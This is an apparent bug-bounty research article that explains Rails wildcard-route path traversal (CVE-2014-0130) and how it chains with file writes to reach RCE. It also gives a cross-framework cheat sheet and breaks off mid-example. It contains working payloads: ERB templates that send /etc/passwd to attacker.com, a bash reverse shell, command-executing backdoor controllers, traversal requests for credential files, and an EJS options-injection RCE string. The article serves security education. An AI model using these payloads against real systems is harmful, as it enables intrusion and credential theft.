Write Path Traversal to a RCE Art Department

lab.ctbb.show · bugbountydaily · 3 months ago · vulnerability
0 net
Entities
CVE-2014-0130
Write Path Traversal to a RCE Art Department | Critical Thinking - Bug Bounty Podcast fsi Diyan Apostolov https://x.com/thefosi November 28, 2025 CriticalThinking Research members are treated as artists thus here is my small and rare moment of sharing publicly thoughts, insides and art. In the modern world, it is common people to hide, to hide knowledge, to hide thoughts, to hide from life, but in the CT community, we do opposite, we can share what we know, what we feel, what we think, what we critically think! Play that music and enjoy the process of sharing! Things will be discovered and patched so… Share! In our previous article - ASP.NET MVC View Engine Search Patterns , we explored the inner workings and logic behind ASP.NET MVC search patterns. Building on that foundation and the shared understanding we’ve now established, today we’ll dive deeper into more languages. As pentesters, bug bounty hunters,…(whoever consider yourself)., we’re constantly confronted with new programming languages, frameworks, and technologies — it’s absolute chaos out there (especially when you’re pushing 40 and still fondly remember the golden era of BBSs and blazing-fast 33.6K modems 😄). This article takes a closer look at how Ruby resolves templates, examines the underlying behavior, and includes a practical comparison matrix/cheatsheet showing how different languages and frameworks handle similar view/template resolution mechanisms. The matrix is designed to expand over time with additional languages For those short on time, feel free to jump straight to the Cheat Sheet - The Short Version section below — it has everything you need at a glance. For everyone else, grab a coffee and enjoy the full read! Cheat Sheet - Quick Comparison Table Rails Wildcard Routing & Auto-loading: Exploitation Guide Introduction Similar to ASP.NET MVC’s View Engine search pattern vulnerability, Ruby on Rails has an analogous attack surface through the combination of wildcard routing , Zeitwerk auto-loading , and implicit rendering . Both vulnerabilities exploit framework-level file resolution mechanisms that bypass web server protections. Part 1: Understanding Rails Auto-loading with Zeitwerk The Convention-Over-Configuration Pattern Rails follows strict naming conventions where file paths automatically map to class names : # File: app/controllers/users_controller.rb class UsersController < ApplicationController def index # ... end end The Zeitwerk loader uses String#camelize to convert file paths to constants: File Path -> Constant Name app/controllers/users_controller.rb -> UsersController app/controllers/admin/payments_controller.rb -> Admin::PaymentsController app/models/user.rb -> User app/services/payment_processor.rb -> PaymentProcessor How Zeitwerk Auto-loading Works When your Rails application references an undefined constant, Zeitwerk intercepts it: # Somewhere in your Rails app user = User . new # If User is not yet loaded... Behind the scenes: Ruby raises NameError: uninitialized constant User Zeitwerk intercepts this error Converts User → user.rb (reverse camelize) Searches autoload paths: app/models/user.rb Executes the file using require The constant User is now defined Execution continues normally Critical insight: This happens automatically without explicit require statements, and the file is executed when loaded. Autoload Paths Rails automatically configures these directories as autoload paths: app/controllers/ app/models/ app/helpers/ app/mailers/ app/jobs/ app/services/ lib/ Any .rb file in these directories can be auto-loaded based on naming conventions. Part 2: Rails Routing & Implicit Rendering Basic Routing Rails routes map URLs to controller actions: # config/routes.rb Rails . application . routes . draw do get '/users' , to: 'users#index' get '/users/:id' , to: 'users#show' end This maps: GET /users → UsersController#index GET /users/123 → UsersController#show with params[:id] = "123" Wildcard/Globbing Routes Rails supports glob parameters that capture everything including slashes: # config/routes.rb get '/files/*path' , to: 'files#show' Request: GET /files/documents/2024/report.pdf params[:path] = "documents/2024/report.pdf" (includes slashes!) Implicit Rendering If a controller action doesn’t explicitly render something, Rails automatically looks for a template: class UsersController < ApplicationController def profile # No explicit render call # Rails automatically renders: app/views/users/profile.html.erb end end The implicit render searches for templates matching the pattern: app/views//.. Part 3: The Vulnerability - CVE-2014-0130 Vulnerable Configuration The vulnerability occurs when applications use wildcard routing with the :action parameter : # config/routes.rb - VULNERABLE get '/render/*action' , to: 'pages#' # or get '/docs/*action' , controller: 'documentation' This routing pattern tells Rails: Match any URL starting with /render/ Capture everything after as the :action parameter Route to the specified controller Why This Is Dangerous When you combine: Wildcard routes capturing :action Implicit rendering Directory traversal sequences ( ../ ) Rails will: Accept the action parameter with traversal sequences Try to render a template using that action name Not properly sanitize the path Exploitation Example 1: File Disclosure Vulnerable Application: # config/routes.rb Rails . application . routes . draw do get '/pages/*action' , controller: 'pages' end # app/controllers/pages_controller.rb class PagesController < ApplicationController # Relies on implicit rendering # No action methods defined - all handled by implicit render end Attack Request: GET /pages/../../../../etc/passwd HTTP / 1.1 Host : vulnerable-app.com What Happens: Rails routes to PagesController params[:action] = "../../../../etc/passwd" Implicit render looks for template: app/views/pages/../../../../etc/passwd Path traversal resolves to /etc/passwd File contents disclosed (if Rails can read it) Exploitation Example 2: Code Execution via Template Injection Attack Scenario: Assume the attacker has file write access via another vulnerability (upload, path traversal in a different endpoint, etc.) Step 1: Write malicious ERB template Attacker uploads a file to a predictable location: <%= `whoami` %> <%= system ( "curl http://attacker.com/?data=$(cat /etc/passwd | base64)" ) %> Step 2: Trigger via wildcard route # config/routes.rb - VULNERABLE get '/render/*action' , controller: 'pages' Attack Request: GET /render/../../public/uploads/evil.html HTTP / 1.1 Host : vulnerable-app.com Exploitation Chain: Rails accepts action = "../../public/uploads/evil.html" Implicit render searches for: app/views/pages/../../public/uploads/evil.html.erb Path resolves to: public/uploads/evil.html.erb Rails loads and executes the ERB template Embedded Ruby code ( <%= system(...) %> ) executes with app privileges Remote code execution achieved Part 4: Zeitwerk Auto-loading Attack Surface Controller Auto-loading Vulnerability While less common, if an application uses wildcard routing with :controller : # config/routes.rb - EXTREMELY DANGEROUS get '/:controller/:action/:id' This creates an even worse attack surface. Example Attack: GET /admin%2F%2Fevil_controller/malicious_action/1 HTTP / 1.1 If an attacker can: Write a file to app/controllers/admin/evil_controller.rb Trigger the route Then: Zeitwerk auto-loads Admin::EvilController The malicious controller code executes Actions in that controller become accessible Malicious Controller Example Attacker writes to: app/controllers/admin/evil_controller.rb class Admin::EvilController < ApplicationController skip_before_action :verify_authenticity_token def backdoor if params [ :cmd ] render plain: ` #{ params [ :cmd ] } ` else render plain: "Backdoor ready" end end end Attack Request: GET /admin%2Fevil_controller/backdoor?cmd=whoami HTTP / 1.1 Result: Remote command execution. Part 5: Real-World Examples Example 1: Rails App with Dynamic Pages Vulnerable Code: # config/routes.rb Rails . application . routes . draw do # Intention: Allow dynamic page rendering get '/help/*page' , controller: 'help' , action: 'show' end # app/controllers/help_controller.rb class HelpController < ApplicationController def show @page = params [ :page ] # Implicit render looks for: app/views/help/show.html.erb # But what if action method doesn't exist and we use wildcard action? end end Better vulnerable example: # config/routes.rb get '/help/*action' , controller: 'help' # app/controllers/help_controller.rb class HelpController < ApplicationController # No methods - relies on implicit rendering end Directory Structure: app/views/help/ faq.html.erb getting-started.html.erb tutorials.html.erb Legitimate Request: GET /help/faq Renders: app/views/help/faq.html.erb ✓ Malicious Request: GET /help/../../../../config/database.yml Attempts to render: app/views/help/../../../../config/database.yml Resolves to: config/database.yml Result: Database credentials disclosed! Example 2: File Upload + Wildcard Route RCE Scenario: Application has file upload but “restricts” to images only (client-side validation) Step 1: Upload malicious ERB disguised as image POST /uploads HTTP / 1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="avatar.jpg" Content-Type: image/jpeg <%= system("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") %> ------WebKitFormBoundary-- File saved to: public/uploads/avatar.jpg Step 2: Rename/copy to .erb extension (via path traversal in another endpoint, or if predictable naming). Or attacker finds the app also accepts .erb files in certain directories. However. this step is actually optional in some cases. Rails might still process the file as ERB if: - The implicit render path resolves to it - Rails is configured to handle that extension - The file contains ERB delimiters <%= %> For reliability purposes, the attacker would typically need the .erb extension or Rails won’t treat it as an ERB template. Step 3: Trigger via wildcard route # If app has this route: get '/render/*action' , controller: 'pages' GET /render/../../public/uploads/avatar.jpg HTTP / 1.1 If Rails treats this as a template, the embedded Ruby executes → Reverse shell . Example 3: Auto-loading + Malicious Controller Scenario: App has arbitrary file write via path traversal in a separate vulnerability Step 1: Write malicious controller PUT /api/files?path=../../app/controllers/backdoor_controller.rb HTTP / 1.1 class BackdoorController < ApplicationController def shell render plain: `#{params[:cmd]}` end end Step 2: Trigger auto-loading # If app has wildcard controller routing: match ':controller/:action' , via: :all GET /backdoor/shell?cmd=cat%20/etc/passwd HTTP / 1.1 Result: Rails routes to BackdoorController#shell Zeitwerk auto-loads app/controllers/backdoor_controller.rb Controller class is defined and instantiated shell action executes with command injection RCE achieved Part 6: Detection How we can identify if there is a wildcard endpoints? There a couple techniques which we can use to identify a possible vulnerable endpoint Path Traversal Probing (Best Method) Test if path traversal works in different URL segments curl -i https://target.com/pages/test curl -i https://target.com/pages/../test curl -i https://target.com/pages/../../test curl -i https://target.com/pages/../../../../etc/passwd Look for: Different responses (200 vs 404 vs 500) File disclosure in response body Error messages revealing file paths Response time differences Error Message Fingerprinting Wildcard routes often produce distinctive Rails errors: curl -i https://target.com/pages/nonexistent Wildcard route indicators: Template is missing → Implicit rendering attempting to find template Missing template pages/nonexistent → Shows it’s looking for a template with your input No route matches → Explicit routes only (no wildcard) Example error that reveals wildcard routing: ActionView::MissingTemplate: Missing template pages/../../../../etc/passwd This confirms: Wildcard *action exists Path traversal sequences accepted Implicit rendering active Fuzz Common Wildcard Patterns Test common Rails wildcard endpoints curl -i https://target.com/render/test curl -i https://target.com/pages/test curl -i https://target.com/docs/test curl -i https://target.com/help/test curl -i https://target.com/content/test Indicators: 200 OK or “Template missing” = likely wildcard 404 Not Found = likely explicit routing Directory Brute-forcing Behavior Try random action names curl -i https://target.com/pages/random123 curl -i https://target.com/pages/totally_fake_action Wildcard route behavior: Returns Template is missing (tries to render) Returns 500 error (tries to find template) Explicit route behavior: Returns 404 or routing error immediately Never mentions “template” Response Difference Analysis Compare responses curl -i https://target.com/pages/known_page # Legitimate page curl -i https://target.com/pages/fake_page # Non-existent curl -i https://target.com/pages/../fake # Traversal attempt Wildcard indicators: All return similar HTTP codes (500/200) Error messages reveal template paths Content-Type remains consistent Non-wildcard indicators: Quick 404 responses Generic “not found” pages No mention of templates/views Timing Attack Measure response times time curl -s https://target.com/pages/test > /dev/null time curl -s https://target.com/pages/../../../../etc/passwd > /dev/null Wildcard routes with file system access will have: Longer response times (file system lookups) Variable timing based on path depth The “Golden Test” (Most Reliable) curl -v https://target.com/pages/../../../../etc/passwd 2>&1 | grep -i "missing template\|passwd" If wildcard route exists: Error: Missing template pages/../../../../etc/passwd Or: Actual /etc/passwd contents If no wildcard: 404 Not Found or No route matches Common Rails Wildcard Endpoints Test these first: /render/* /pages/* /docs/* /help/* /content/* /api/* /admin/* Part 7: Key Takeaways Without wildcard routing, that specific CVE doesn’t apply, and many developers/SOCs/.. are aware of it thus it is more rare to find it. If there’s NO action or controller wildcard routing, the attack surface becomes much more constrained, but not zero! Exact Template Path Overwrites # config/routes.rb - NO wildcards get '/users/profile' , to: 'users#profile' Attack scenario : Attacker has file-write capability via separate vulnerability Writes malicious template to EXACT expected path: app/views/users/profile.html.erb < %= system("curl http://attacker.com/?data= $ ( whoami ) ") %> Request GET /users/profile Rails renders the poisoned template → RCE Controller Auto-loading Without Wildcard Routes This is trickier. Modern Rails apps typically use explicit routes, so even if you write: # Attacker writes: app/controllers/backdoor_controller.rb class BackdoorController < ApplicationController def evil render plain: ` #{ params [ :cmd ] } ` end end Without a route pointing to it , Rails won’t route requests there. You’d need: # This route must exist for the attack to work get '/backdoor/evil' , to: 'backdoor#evil' So without wildcard routing OR existing routes to your malicious controller, Zeitwerk auto-loading alone doesn’t help much. Modifying Existing Templates (Not Creating New Ones) # Existing route get '/dashboard' , to: 'home#dashboard' If attacker can modify the existing template: < h1 > Dashboard < /h1> <%= system(params[:cmd]) if params[:cmd] %> Request: GET /dashboard?cmd=whoami → RCE, but this requires modifying existing files, not just creating new ones. With Wildcard Routing (CVE-2014-0130): get ‘/render/*action’, controller: ‘pages’ Attacker can: Write file ANYWHERE: public/uploads/evil.erb, /tmp/evil.erb, etc. Use path traversal in URL: GET /render/../../public/uploads/evil Rails resolves the path and renders it High flexibility in file placement Without Wildcard Routing: get ‘/profile’, to: ‘users#profile’ Attacker must: Write file to EXACT location: app/views/users/profile.html.erb No path traversal possible via URL Much more constrained - needs to know exact route-to-template mapping Low flexibility - must predict exact paths The wildcard routing is what makes it a “weaponized” vulnerability (CVE-worthy), but the fundamental framework behavior (auto-rendering templates) is still an attack surface even without wildcards. Cheat Sheet - The long version Cross-Framework Exploitation Guide This cheatsheet covers how file-write vulnerabilities combined with path traversal can lead to Remote Code Execution (RCE) across different web frameworks by exploiting framework-level file resolution mechanisms. Quick Reference Table Framework File Extension Auto-Execution Wildcard Vuln Difficulty ASP.NET MVC .cshtml Yes (Razor) View Engine patterns Medium Ruby on Rails .erb , .rb Yes (ERB/Zeitwerk) *action , *controller Medium Node.js/Express .ejs , .hbs Yes (Template engines) View options injection Easy PHP/Laravel .blade.php , .php Yes (Blade/Include) Route parameters Easy Python/Django .py , .html Partial (SSTI, __init__.py ) Template injection Hard Python/Flask .py , .html Partial (SSTI, __init__.py ) Template injection Hard Go/Gin/Echo .tmpl , .html No (Manual parse) SSTI gadgets Very Hard Step 1: Understanding Framework File Resolution ASP.NET MVC View() → Searches: ~/Views/{Controller}/{Action}.cshtml Uses: Internal File.Exists() → Bypasses IIS filtering Predictable Paths: ~/Views/Home/Index.cshtml ~/Views/Shared/_Layout.cshtml ~/Areas/{Area}/Views/{Controller}/{Action}.cshtml Example: public ActionResult Profile () { return View (); // Searches: ~/Views/Home/Profile.cshtml } Ruby on Rails Implicit Render → Searches: app/views/{controller}/{action}.{format}.erb Zeitwerk Auto-loading → app/controllers/{name}_controller.rb → NameController Uses: Framework file operations → Bypasses Rack/web server filtering Predictable Paths: app/views/users/profile.html.erb app/controllers/admin/users_controller.rb → Admin::UsersController app/models/user.rb → User Example: class UsersController < ApplicationController def profile # Implicit render: app/views/users/profile.html.erb end end Node.js/Express res.render('view', data) → Searches: views/{view}.{engine} Uses: require() for engines → Bypasses static file serving Predictable Paths: views/index.ejs views/users/profile.hbs views/layouts/main.ejs Example: app . get ( ' /profile ' , ( req , res ) => { res . render ( ' profile ' , req . query ); // Dangerous! }); PHP/Laravel view('name') → Searches: resources/views/{name}.blade.php Uses: include/require → Bypasses web server restrictions Predictable Paths: resources/views/welcome.blade.php resources/views/users/profile.blade.php app/Http/Controllers/UserController.php Example: public function profile () { return view ( 'users.profile' ); // resources/views/users/profile.blade.php } Python/Django render(request, 'template.html') → Searches: templates/{template.html} Auto-loading: Not by default (INSTALLED_APPS) Uses: open() for templates Predictable Paths: templates/index.html app_name/templates/app_name/view.html {app}/__init__.py (for code execution) Example: def profile ( request ): return render ( request , 'users/profile.html' ) Python/Flask render_template('template.html') → Searches: templates/{template.html} Uses: Jinja2 engine → Can exploit SSTI Predictable Paths: templates/index.html templates/users/profile.html {package}/__init__.py (for code execution) Example: @ app . route ( '/profile' ) def profile (): return render_template ( 'profile.html' , user = request . args ) Go/Gin/Echo c.HTML(200, "template.html", data) → Must explicitly parse templates No auto-loading → Must template.ParseFiles() first Uses: Manual file operations Predictable Paths: templates/index.tmpl views/profile.html Depends on developer configuration Example: func profile ( c * gin . Context ) { c . HTML ( 200 , "profile.html" , gin . H { "user" : c . Query ( "name" )}) } Step 2: Wildcard/Dynamic Routing Vulnerabilities ASP.NET MVC // VULNERABLE - Catch-all route routes . MapRoute ( name : "CatchAll" , url : "{controller}/{action}/{*path}" ); Attack Vector: Controller/Action names with path traversal Exploitation: View Engine searches can be manipulated Ruby on Rails # VULNERABLE - Wildcard action get '/pages/*action' , controller: 'pages' # EXTREMELY DANGEROUS - Wildcard controller get '/:controller/:action/:id' Attack Vector: Direct path traversal via *action or *controller Exploitation: GET /pages/../../../../etc/passwd Node.js/Express // VULNERABLE - User-controlled render options app . get ( ' /render/:page ' , ( req , res ) => { res . render ( req . params . page , req . query ); // req.query passed as options! }); Attack Vector: Template engine options injection Exploitation: GET /render/profile?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('calc');// PHP/Laravel // VULNERABLE - Dynamic view names Route :: get ( '/page/{name}' , function ( $name ) { return view ( $name ); // User-controlled view name! }); Attack Vector: Direct view name control with path traversal Exploitation: GET /page/../../../../config/database Python/Django # VULNERABLE - Dynamic template names def render_page ( request , template_name ): return render ( request , template_name ) # User-controlled! urlpatterns = [ path ( 'page//' , render_page ), ] Attack Vector: Path traversal in template name Exploitation: GET /page/../../../../etc/passwd Python/Flask # VULNERABLE - User-controlled templates @ app . route ( '/page/